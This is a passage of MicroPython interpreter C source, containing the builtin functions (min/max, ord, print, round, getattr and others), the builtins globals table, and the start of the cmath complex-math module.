MP_OBJ_NEW_QSTR(MP_QSTR_key), MP_MAP_LOOKUP); mp_map_elem_t *default_elem; mp_obj_t key_fn = key_elem == NULL ? MP_OBJ_NULL : key_elem->value; if (n_args == 1) { // given an iterable mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(args[0], &iter_buf); mp_obj_t best_key = MP_OBJ_NULL; mp_obj_t best_obj = MP_OBJ_NULL; mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { mp_obj_t key = key_fn == MP_OBJ_NULL ? item : mp_call_function_1(key_fn, item); if (best_obj == MP_OBJ_NULL || (mp_binary_op(op, key, best_key) == mp_const_true)) { best_key = key; best_obj = item; } } if (best_obj == MP_OBJ_NULL) { default_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_default), MP_MAP_LOOKUP); if (default_elem != NULL) { best_obj = default_elem->value; } else { mp_raise_ValueError("arg is an empty sequence"); } } return best_obj; } else { // given many args mp_obj_t best_key = MP_OBJ_NULL; mp_obj_t best_obj = MP_OBJ_NULL; for (size_t i = 0; i < n_args; i++) { mp_obj_t key = key_fn == MP_OBJ_NULL ? args[i] : mp_call_function_1(key_fn, args[i]); if (best_obj == MP_OBJ_NULL || (mp_binary_op(op, key, best_key) == mp_const_true)) { best_key = key; best_obj = args[i]; } } return best_obj; } } STATIC mp_obj_t mp_builtin_max(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { return mp_builtin_min_max(n_args, args, kwargs, MP_BINARY_OP_MORE); } MP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_max_obj, 1, mp_builtin_max); STATIC mp_obj_t mp_builtin_min(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { return mp_builtin_min_max(n_args, args, kwargs, MP_BINARY_OP_LESS); } MP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_min_obj, 1, mp_builtin_min); #endif STATIC mp_obj_t mp_builtin_next(mp_obj_t o) { mp_obj_t ret = mp_iternext_allow_raise(o); if (ret == MP_OBJ_STOP_ITERATION) { nlr_raise(mp_obj_new_exception(&mp_type_StopIteration)); } else { return ret; } } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_next_obj, mp_builtin_next); STATIC mp_obj_t mp_builtin_oct(mp_obj_t o_in) { return mp_binary_op(MP_BINARY_OP_MODULO, MP_OBJ_NEW_QSTR(MP_QSTR__percent__hash_o), o_in); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_oct_obj, mp_builtin_oct); STATIC mp_obj_t mp_builtin_ord(mp_obj_t o_in) { size_t len; const char *str = mp_obj_str_get_data(o_in, &len); #if MICROPY_PY_BUILTINS_STR_UNICODE if (MP_OBJ_IS_STR(o_in)) { len = unichar_charlen(str, len); if (len == 1) { if (!UTF8_IS_NONASCII(*str)) { goto return_first_byte; } mp_int_t ord = *str++ & 0x7F; for (mp_int_t mask = 0x40; ord & mask; mask >>= 1) { ord &= ~mask; } while (UTF8_IS_CONT(*str)) { ord = (ord << 6) | (*str++ & 0x3F); } return mp_obj_new_int(ord); } } else { // a bytes object if (len == 1) { return_first_byte: return MP_OBJ_NEW_SMALL_INT(((const byte*)str)[0]); } } #else if (len == 1) { // don't sign extend when converting to ord return mp_obj_new_int(((const byte*)str)[0]); } #endif if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("ord expects a character"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "ord() expected a character, but string of length %d found", (int)len)); } } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_ord_obj, mp_builtin_ord); STATIC mp_obj_t mp_builtin_pow(size_t n_args, const mp_obj_t *args) { switch (n_args) { case 2: return mp_binary_op(MP_BINARY_OP_POWER, args[0], args[1]); default: #if !MICROPY_PY_BUILTINS_POW3 mp_raise_msg(&mp_type_NotImplementedError, "3-arg pow() not supported"); #elif MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_MPZ return mp_binary_op(MP_BINARY_OP_MODULO, mp_binary_op(MP_BINARY_OP_POWER, args[0], args[1]), args[2]); #else return mp_obj_int_pow3(args[0], args[1], args[2]); #endif } } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_pow_obj, 2, 3, mp_builtin_pow); STATIC mp_obj_t mp_builtin_print(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { mp_map_elem_t *sep_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_sep), MP_MAP_LOOKUP); mp_map_elem_t *end_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_end), MP_MAP_LOOKUP); const char *sep_data = " "; size_t sep_len = 1; const char *end_data = "\n"; size_t end_len = 1; if (sep_elem != NULL && sep_elem->value != mp_const_none) { sep_data = mp_obj_str_get_data(sep_elem->value, &sep_len); } if (end_elem != NULL && end_elem->value != mp_const_none) { end_data = mp_obj_str_get_data(end_elem->value, &end_len); } #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES void *stream_obj = &mp_sys_stdout_obj; mp_map_elem_t *file_elem = mp_map_lookup(kwargs, MP_OBJ_NEW_QSTR(MP_QSTR_file), MP_MAP_LOOKUP); if (file_elem != NULL && file_elem->value != mp_const_none) { stream_obj = MP_OBJ_TO_PTR(file_elem->value); // XXX may not be a concrete object } mp_print_t print = {stream_obj, mp_stream_write_adaptor}; #endif for (size_t i = 0; i < n_args; i++) { if (i > 0) { #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES mp_stream_write_adaptor(stream_obj, sep_data, sep_len); #else mp_print_strn(&mp_plat_print, sep_data, sep_len, 0, 0, 0); #endif } #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES mp_obj_print_helper(&print, args[i], PRINT_STR); #else mp_obj_print_helper(&mp_plat_print, args[i], PRINT_STR); #endif } #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES mp_stream_write_adaptor(stream_obj, end_data, end_len); #else mp_print_strn(&mp_plat_print, end_data, end_len, 0, 0, 0); #endif return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_print_obj, 0, mp_builtin_print); STATIC mp_obj_t mp_builtin___repl_print__(mp_obj_t o) { if (o != mp_const_none) { mp_obj_print_helper(MP_PYTHON_PRINTER, o, PRINT_REPR); mp_print_str(MP_PYTHON_PRINTER, "\n"); #if MICROPY_CAN_OVERRIDE_BUILTINS // Set "_" special variable mp_obj_t dest[2] = {MP_OBJ_SENTINEL, o}; mp_type_module.attr(MP_OBJ_FROM_PTR(&mp_module_builtins), MP_QSTR__, dest); #endif } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin___repl_print___obj, mp_builtin___repl_print__); STATIC mp_obj_t mp_builtin_repr(mp_obj_t o_in) { vstr_t vstr; mp_print_t print; vstr_init_print(&vstr, 16, &print); mp_obj_print_helper(&print, o_in, PRINT_REPR); return mp_obj_new_str_from_vstr(&mp_type_str, &vstr); } MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_repr_obj, mp_builtin_repr); STATIC mp_obj_t mp_builtin_round(size_t n_args, const mp_obj_t *args) { mp_obj_t o_in = args[0]; if (MP_OBJ_IS_INT(o_in)) { return o_in; } #if MICROPY_PY_BUILTINS_FLOAT mp_int_t num_dig = 0; if (n_args > 1) { num_dig = mp_obj_get_int(args[1]); mp_float_t val = mp_obj_get_float(o_in); mp_float_t mult = MICROPY_FLOAT_C_FUN(pow)(10, num_dig); // TODO may lead to overflow mp_float_t rounded = MICROPY_FLOAT_C_FUN(nearbyint)(val * mult) / mult; return mp_obj_new_float(rounded); } mp_float_t val = mp_obj_get_float(o_in); mp_float_t rounded = MICROPY_FLOAT_C_FUN(nearbyint)(val); return mp_obj_new_int_from_float(rounded); #else mp_int_t r = mp_obj_get_int(o_in); return mp_obj_new_int(r); #endif } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_round_obj, 1, 2, mp_builtin_round); STATIC mp_obj_t mp_builtin_sum(size_t n_args, const mp_obj_t *args) { mp_obj_t value; switch (n_args) { case 1: value = MP_OBJ_NEW_SMALL_INT(0); break; default: value = args[1]; break; } mp_obj_iter_buf_t iter_buf; mp_obj_t iterable = mp_getiter(args[0], &iter_buf); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { value = mp_binary_op(MP_BINARY_OP_ADD, value, item); } return value; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_sum_obj, 1, 2, mp_builtin_sum); STATIC mp_obj_t mp_builtin_sorted(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { if (n_args > 1) { mp_raise_TypeError("must use keyword argument for key function"); } mp_obj_t self = mp_type_list.make_new(&mp_type_list, 1, 0, args); mp_obj_list_sort(1, &self, kwargs); return self; } MP_DEFINE_CONST_FUN_OBJ_KW(mp_builtin_sorted_obj, 1, mp_builtin_sorted); // See mp_load_attr() if making any changes static inline mp_obj_t mp_load_attr_default(mp_obj_t base, qstr attr, mp_obj_t defval) { mp_obj_t dest[2]; // use load_method, raising or not raising exception ((defval == MP_OBJ_NULL) ? mp_load_method : mp_load_method_maybe)(base, attr, dest); if (dest[0] == MP_OBJ_NULL) { return defval; } else if (dest[1] == MP_OBJ_NULL) { // load_method returned just a normal attribute return dest[0]; } else { // load_method returned a method, so build a bound method object return mp_obj_new_bound_meth(dest[0], dest[1]); } } STATIC mp_obj_t mp_builtin_getattr(size_t n_args, const mp_obj_t *args) { mp_obj_t defval = MP_OBJ_NULL; if (n_args > 2) { defval = args[2]; } return mp_load_attr_default(args[0], mp_obj_str_get_qstr(args[1]), defval); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_getattr_obj, 2, 3, mp_builtin_getattr); STATIC mp_obj_t mp_builtin_setattr(mp_obj_t base, mp_obj_t attr, mp_obj_t value) { mp_store_attr(base, mp_obj_str_get_qstr(attr), value); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_3(mp_builtin_setattr_obj, mp_builtin_setattr); #if MICROPY_CPYTHON_COMPAT STATIC mp_obj_t mp_builtin_delattr(mp_obj_t base, mp_obj_t attr) { return mp_builtin_setattr(base, attr, MP_OBJ_NULL); } MP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_delattr_obj, mp_builtin_delattr); #endif STATIC mp_obj_t mp_builtin_hasattr(mp_obj_t object_in, mp_obj_t attr_in) { qstr attr = mp_obj_str_get_qstr(attr_in); mp_obj_t dest[2]; // TODO: https://docs.python.org/3/library/functions.html?highlight=hasattr#hasattr // explicitly says "This is implemented by calling getattr(object, name) and seeing // whether it raises an AttributeError or not.", so we should explicitly wrap this // in nlr_push and handle exception. mp_load_method_maybe(object_in, attr, dest); return mp_obj_new_bool(dest[0] != MP_OBJ_NULL); } MP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_hasattr_obj, mp_builtin_hasattr); STATIC mp_obj_t mp_builtin_globals(void) { return MP_OBJ_FROM_PTR(mp_globals_get()); } MP_DEFINE_CONST_FUN_OBJ_0(mp_builtin_globals_obj, mp_builtin_globals); STATIC mp_obj_t mp_builtin_locals(void) { return MP_OBJ_FROM_PTR(mp_locals_get()); } MP_DEFINE_CONST_FUN_OBJ_0(mp_builtin_locals_obj, mp_builtin_locals); // These are defined in terms of MicroPython API functions right away MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_id_obj, mp_obj_id); MP_DEFINE_CONST_FUN_OBJ_1(mp_builtin_len_obj, mp_obj_len); STATIC const mp_rom_map_elem_t mp_module_builtins_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_builtins) }, // built-in core functions { MP_ROM_QSTR(MP_QSTR___build_class__), MP_ROM_PTR(&mp_builtin___build_class___obj) }, { MP_ROM_QSTR(MP_QSTR___import__), MP_ROM_PTR(&mp_builtin___import___obj) }, { MP_ROM_QSTR(MP_QSTR___repl_print__), MP_ROM_PTR(&mp_builtin___repl_print___obj) }, // built-in types { MP_ROM_QSTR(MP_QSTR_bool), MP_ROM_PTR(&mp_type_bool) }, { MP_ROM_QSTR(MP_QSTR_bytes), MP_ROM_PTR(&mp_type_bytes) }, #if MICROPY_PY_BUILTINS_BYTEARRAY { MP_ROM_QSTR(MP_QSTR_bytearray), MP_ROM_PTR(&mp_type_bytearray) }, #endif #if MICROPY_PY_BUILTINS_COMPLEX { MP_ROM_QSTR(MP_QSTR_complex), MP_ROM_PTR(&mp_type_complex) }, #endif { MP_ROM_QSTR(MP_QSTR_dict), MP_ROM_PTR(&mp_type_dict) }, #if MICROPY_PY_BUILTINS_ENUMERATE { MP_ROM_QSTR(MP_QSTR_enumerate), MP_ROM_PTR(&mp_type_enumerate) }, #endif #if MICROPY_PY_BUILTINS_FILTER { MP_ROM_QSTR(MP_QSTR_filter), MP_ROM_PTR(&mp_type_filter) }, #endif #if MICROPY_PY_BUILTINS_FLOAT { MP_ROM_QSTR(MP_QSTR_float), MP_ROM_PTR(&mp_type_float) }, #endif #if MICROPY_PY_BUILTINS_SET && MICROPY_PY_BUILTINS_FROZENSET { MP_ROM_QSTR(MP_QSTR_frozenset), MP_ROM_PTR(&mp_type_frozenset) }, #endif { MP_ROM_QSTR(MP_QSTR_int), MP_ROM_PTR(&mp_type_int) }, { MP_ROM_QSTR(MP_QSTR_list), MP_ROM_PTR(&mp_type_list) }, { MP_ROM_QSTR(MP_QSTR_map), MP_ROM_PTR(&mp_type_map) }, #if MICROPY_PY_BUILTINS_MEMORYVIEW { MP_ROM_QSTR(MP_QSTR_memoryview), MP_ROM_PTR(&mp_type_memoryview) }, #endif { MP_ROM_QSTR(MP_QSTR_object), MP_ROM_PTR(&mp_type_object) }, #if MICROPY_PY_BUILTINS_PROPERTY { MP_ROM_QSTR(MP_QSTR_property), MP_ROM_PTR(&mp_type_property) }, #endif { MP_ROM_QSTR(MP_QSTR_range), MP_ROM_PTR(&mp_type_range) }, #if MICROPY_PY_BUILTINS_REVERSED { MP_ROM_QSTR(MP_QSTR_reversed), MP_ROM_PTR(&mp_type_reversed) }, #endif #if MICROPY_PY_BUILTINS_SET { MP_ROM_QSTR(MP_QSTR_set), MP_ROM_PTR(&mp_type_set) }, #endif #if MICROPY_PY_BUILTINS_SLICE { MP_ROM_QSTR(MP_QSTR_slice), MP_ROM_PTR(&mp_type_slice) }, #endif { MP_ROM_QSTR(MP_QSTR_str), MP_ROM_PTR(&mp_type_str) }, { MP_ROM_QSTR(MP_QSTR_super), MP_ROM_PTR(&mp_type_super) }, { MP_ROM_QSTR(MP_QSTR_tuple), MP_ROM_PTR(&mp_type_tuple) }, { MP_ROM_QSTR(MP_QSTR_type), MP_ROM_PTR(&mp_type_type) }, { MP_ROM_QSTR(MP_QSTR_zip), MP_ROM_PTR(&mp_type_zip) }, { MP_ROM_QSTR(MP_QSTR_classmethod), MP_ROM_PTR(&mp_type_classmethod) }, { MP_ROM_QSTR(MP_QSTR_staticmethod), MP_ROM_PTR(&mp_type_staticmethod) }, // built-in objects { MP_ROM_QSTR(MP_QSTR_Ellipsis), MP_ROM_PTR(&mp_const_ellipsis_obj) }, #if MICROPY_PY_BUILTINS_NOTIMPLEMENTED { MP_ROM_QSTR(MP_QSTR_NotImplemented), MP_ROM_PTR(&mp_const_notimplemented_obj) }, #endif // built-in user functions { MP_ROM_QSTR(MP_QSTR_abs), MP_ROM_PTR(&mp_builtin_abs_obj) }, { MP_ROM_QSTR(MP_QSTR_all), MP_ROM_PTR(&mp_builtin_all_obj) }, { MP_ROM_QSTR(MP_QSTR_any), MP_ROM_PTR(&mp_builtin_any_obj) }, { MP_ROM_QSTR(MP_QSTR_bin), MP_ROM_PTR(&mp_builtin_bin_obj) }, { MP_ROM_QSTR(MP_QSTR_callable), MP_ROM_PTR(&mp_builtin_callable_obj) }, #if MICROPY_PY_BUILTINS_COMPILE { MP_ROM_QSTR(MP_QSTR_compile), MP_ROM_PTR(&mp_builtin_compile_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_chr), MP_ROM_PTR(&mp_builtin_chr_obj) }, #if MICROPY_CPYTHON_COMPAT { MP_ROM_QSTR(MP_QSTR_delattr), MP_ROM_PTR(&mp_builtin_delattr_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_dir), MP_ROM_PTR(&mp_builtin_dir_obj) }, { MP_ROM_QSTR(MP_QSTR_divmod), MP_ROM_PTR(&mp_builtin_divmod_obj) }, #if MICROPY_PY_BUILTINS_EVAL_EXEC { MP_ROM_QSTR(MP_QSTR_eval), MP_ROM_PTR(&mp_builtin_eval_obj) }, { MP_ROM_QSTR(MP_QSTR_exec), MP_ROM_PTR(&mp_builtin_exec_obj) }, #endif #if MICROPY_PY_BUILTINS_EXECFILE { MP_ROM_QSTR(MP_QSTR_execfile), MP_ROM_PTR(&mp_builtin_execfile_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_getattr), MP_ROM_PTR(&mp_builtin_getattr_obj) }, { MP_ROM_QSTR(MP_QSTR_setattr), MP_ROM_PTR(&mp_builtin_setattr_obj) }, { MP_ROM_QSTR(MP_QSTR_globals), MP_ROM_PTR(&mp_builtin_globals_obj) }, { MP_ROM_QSTR(MP_QSTR_hasattr), MP_ROM_PTR(&mp_builtin_hasattr_obj) }, { MP_ROM_QSTR(MP_QSTR_hash), MP_ROM_PTR(&mp_builtin_hash_obj) }, #if MICROPY_PY_BUILTINS_HELP { MP_ROM_QSTR(MP_QSTR_help), MP_ROM_PTR(&mp_builtin_help_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_hex), MP_ROM_PTR(&mp_builtin_hex_obj) }, { MP_ROM_QSTR(MP_QSTR_id), MP_ROM_PTR(&mp_builtin_id_obj) }, #if MICROPY_PY_BUILTINS_INPUT { MP_ROM_QSTR(MP_QSTR_input), MP_ROM_PTR(&mp_builtin_input_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_isinstance), MP_ROM_PTR(&mp_builtin_isinstance_obj) }, { MP_ROM_QSTR(MP_QSTR_issubclass), MP_ROM_PTR(&mp_builtin_issubclass_obj) }, { MP_ROM_QSTR(MP_QSTR_iter), MP_ROM_PTR(&mp_builtin_iter_obj) }, { MP_ROM_QSTR(MP_QSTR_len), MP_ROM_PTR(&mp_builtin_len_obj) }, { MP_ROM_QSTR(MP_QSTR_locals), MP_ROM_PTR(&mp_builtin_locals_obj) }, #if MICROPY_PY_BUILTINS_MIN_MAX { MP_ROM_QSTR(MP_QSTR_max), MP_ROM_PTR(&mp_builtin_max_obj) }, { MP_ROM_QSTR(MP_QSTR_min), MP_ROM_PTR(&mp_builtin_min_obj) }, #endif { MP_ROM_QSTR(MP_QSTR_next), MP_ROM_PTR(&mp_builtin_next_obj) }, { MP_ROM_QSTR(MP_QSTR_oct), MP_ROM_PTR(&mp_builtin_oct_obj) }, { MP_ROM_QSTR(MP_QSTR_ord), MP_ROM_PTR(&mp_builtin_ord_obj) }, { MP_ROM_QSTR(MP_QSTR_pow), MP_ROM_PTR(&mp_builtin_pow_obj) }, { MP_ROM_QSTR(MP_QSTR_print), MP_ROM_PTR(&mp_builtin_print_obj) }, { MP_ROM_QSTR(MP_QSTR_repr), MP_ROM_PTR(&mp_builtin_repr_obj) }, { MP_ROM_QSTR(MP_QSTR_round), MP_ROM_PTR(&mp_builtin_round_obj) }, { MP_ROM_QSTR(MP_QSTR_sorted), MP_ROM_PTR(&mp_builtin_sorted_obj) }, { MP_ROM_QSTR(MP_QSTR_sum), MP_ROM_PTR(&mp_builtin_sum_obj) }, // built-in exceptions { MP_ROM_QSTR(MP_QSTR_BaseException), MP_ROM_PTR(&mp_type_BaseException) }, { MP_ROM_QSTR(MP_QSTR_ArithmeticError), MP_ROM_PTR(&mp_type_ArithmeticError) }, { MP_ROM_QSTR(MP_QSTR_AssertionError), MP_ROM_PTR(&mp_type_AssertionError) }, { MP_ROM_QSTR(MP_QSTR_AttributeError), MP_ROM_PTR(&mp_type_AttributeError) }, { MP_ROM_QSTR(MP_QSTR_EOFError), MP_ROM_PTR(&mp_type_EOFError) }, { MP_ROM_QSTR(MP_QSTR_Exception), MP_ROM_PTR(&mp_type_Exception) }, { MP_ROM_QSTR(MP_QSTR_GeneratorExit), MP_ROM_PTR(&mp_type_GeneratorExit) }, { MP_ROM_QSTR(MP_QSTR_ImportError), MP_ROM_PTR(&mp_type_ImportError) }, { MP_ROM_QSTR(MP_QSTR_IndentationError), MP_ROM_PTR(&mp_type_IndentationError) }, { MP_ROM_QSTR(MP_QSTR_IndexError), MP_ROM_PTR(&mp_type_IndexError) }, { MP_ROM_QSTR(MP_QSTR_KeyboardInterrupt), MP_ROM_PTR(&mp_type_KeyboardInterrupt) }, { MP_ROM_QSTR(MP_QSTR_KeyError), MP_ROM_PTR(&mp_type_KeyError) }, { MP_ROM_QSTR(MP_QSTR_LookupError), MP_ROM_PTR(&mp_type_LookupError) }, { MP_ROM_QSTR(MP_QSTR_MemoryError), MP_ROM_PTR(&mp_type_MemoryError) }, { MP_ROM_QSTR(MP_QSTR_NameError), MP_ROM_PTR(&mp_type_NameError) }, { MP_ROM_QSTR(MP_QSTR_NotImplementedError), MP_ROM_PTR(&mp_type_NotImplementedError) }, { MP_ROM_QSTR(MP_QSTR_OSError), MP_ROM_PTR(&mp_type_OSError) }, { MP_ROM_QSTR(MP_QSTR_OverflowError), MP_ROM_PTR(&mp_type_OverflowError) }, { MP_ROM_QSTR(MP_QSTR_RuntimeError), MP_ROM_PTR(&mp_type_RuntimeError) }, #if MICROPY_PY_ASYNC_AWAIT { MP_ROM_QSTR(MP_QSTR_StopAsyncIteration), MP_ROM_PTR(&mp_type_StopAsyncIteration) }, #endif { MP_ROM_QSTR(MP_QSTR_StopIteration), MP_ROM_PTR(&mp_type_StopIteration) }, { MP_ROM_QSTR(MP_QSTR_SyntaxError), MP_ROM_PTR(&mp_type_SyntaxError) }, { MP_ROM_QSTR(MP_QSTR_SystemExit), MP_ROM_PTR(&mp_type_SystemExit) }, { MP_ROM_QSTR(MP_QSTR_TypeError), MP_ROM_PTR(&mp_type_TypeError) }, #if MICROPY_PY_BUILTINS_STR_UNICODE { MP_ROM_QSTR(MP_QSTR_UnicodeError), MP_ROM_PTR(&mp_type_UnicodeError) }, #endif { MP_ROM_QSTR(MP_QSTR_ValueError), MP_ROM_PTR(&mp_type_ValueError) }, #if MICROPY_EMIT_NATIVE { MP_ROM_QSTR(MP_QSTR_ViperTypeError), MP_ROM_PTR(&mp_type_ViperTypeError) }, #endif { MP_ROM_QSTR(MP_QSTR_ZeroDivisionError), MP_ROM_PTR(&mp_type_ZeroDivisionError) }, // Somehow CPython managed to have OverflowError not inherit from ValueError ;-/ // TODO: For MICROPY_CPYTHON_COMPAT==0 use ValueError to avoid exc proliferation // Extra builtins as defined by a port MICROPY_PORT_BUILTINS }; MP_DEFINE_CONST_DICT(mp_module_builtins_globals, mp_module_builtins_globals_table); const mp_obj_module_t mp_module_builtins = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_builtins_globals, }; ================================================ FILE: micropython/source/py/modcmath.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/builtin.h" #if MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_BUILTINS_COMPLEX && MICROPY_PY_CMATH #include /// \module cmath - mathematical functions for complex numbers /// /// The `cmath` module provides some basic mathematical funtions for /// working with complex numbers. /// \function phase(z) /// Returns the phase of the number `z`, in the range (-pi, +pi]. STATIC mp_obj_t mp_cmath_phase(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); return mp_obj_new_float(MICROPY_FLOAT_C_FUN(atan2)(imag, real)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_phase_obj, mp_cmath_phase); /// \function polar(z) /// Returns, as a tuple, the polar form of `z`. STATIC mp_obj_t mp_cmath_polar(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); mp_obj_t tuple[2] = { mp_obj_new_float(MICROPY_FLOAT_C_FUN(sqrt)(real*real + imag*imag)), mp_obj_new_float(MICROPY_FLOAT_C_FUN(atan2)(imag, real)), }; return mp_obj_new_tuple(2, tuple); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_polar_obj, mp_cmath_polar); /// \function rect(r, phi) /// Returns the complex number with modulus `r` and phase `phi`. STATIC mp_obj_t mp_cmath_rect(mp_obj_t r_obj, mp_obj_t phi_obj) { mp_float_t r = mp_obj_get_float(r_obj); mp_float_t phi = mp_obj_get_float(phi_obj); return mp_obj_new_complex(r * MICROPY_FLOAT_C_FUN(cos)(phi), r * MICROPY_FLOAT_C_FUN(sin)(phi)); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(mp_cmath_rect_obj, mp_cmath_rect); /// \function exp(z) /// Return the exponential of `z`. STATIC mp_obj_t mp_cmath_exp(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); mp_float_t exp_real = MICROPY_FLOAT_C_FUN(exp)(real); return mp_obj_new_complex(exp_real * MICROPY_FLOAT_C_FUN(cos)(imag), exp_real * MICROPY_FLOAT_C_FUN(sin)(imag)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_exp_obj, mp_cmath_exp); /// \function log(z) /// Return the natural logarithm of `z`. The branch cut is along the negative real axis. // TODO can take second argument, being the base STATIC mp_obj_t mp_cmath_log(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); return mp_obj_new_complex(0.5 * MICROPY_FLOAT_C_FUN(log)(real*real + imag*imag), MICROPY_FLOAT_C_FUN(atan2)(imag, real)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_log_obj, mp_cmath_log); #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS /// \function log10(z) /// Return the base-10 logarithm of `z`. The branch cut is along the negative real axis. STATIC mp_obj_t mp_cmath_log10(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); return mp_obj_new_complex(0.5 * MICROPY_FLOAT_C_FUN(log10)(real*real + imag*imag), 0.4342944819032518 * MICROPY_FLOAT_C_FUN(atan2)(imag, real)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_log10_obj, mp_cmath_log10); #endif /// \function sqrt(z) /// Return the square-root of `z`. STATIC mp_obj_t mp_cmath_sqrt(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); mp_float_t sqrt_abs = MICROPY_FLOAT_C_FUN(pow)(real*real + imag*imag, 0.25); mp_float_t theta = 0.5 * MICROPY_FLOAT_C_FUN(atan2)(imag, real); return mp_obj_new_complex(sqrt_abs * MICROPY_FLOAT_C_FUN(cos)(theta), sqrt_abs * MICROPY_FLOAT_C_FUN(sin)(theta)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_sqrt_obj, mp_cmath_sqrt); /// \function cos(z) /// Return the cosine of `z`. STATIC mp_obj_t mp_cmath_cos(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); return mp_obj_new_complex(MICROPY_FLOAT_C_FUN(cos)(real) * MICROPY_FLOAT_C_FUN(cosh)(imag), -MICROPY_FLOAT_C_FUN(sin)(real) * MICROPY_FLOAT_C_FUN(sinh)(imag)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_cos_obj, mp_cmath_cos); /// \function sin(z) /// Return the sine of `z`. STATIC mp_obj_t mp_cmath_sin(mp_obj_t z_obj) { mp_float_t real, imag; mp_obj_get_complex(z_obj, &real, &imag); return mp_obj_new_complex(MICROPY_FLOAT_C_FUN(sin)(real) * MICROPY_FLOAT_C_FUN(cosh)(imag), MICROPY_FLOAT_C_FUN(cos)(real) * MICROPY_FLOAT_C_FUN(sinh)(imag)); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_sin_obj, mp_cmath_sin); STATIC const mp_rom_map_elem_t mp_module_cmath_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_cmath) }, { MP_ROM_QSTR(MP_QSTR_e), mp_const_float_e }, { MP_ROM_QSTR(MP_QSTR_pi), mp_const_float_pi }, { MP_ROM_QSTR(MP_QSTR_phase), MP_ROM_PTR(&mp_cmath_phase_obj) }, { MP_ROM_QSTR(MP_QSTR_polar), MP_ROM_PTR(&mp_cmath_polar_obj) }, { 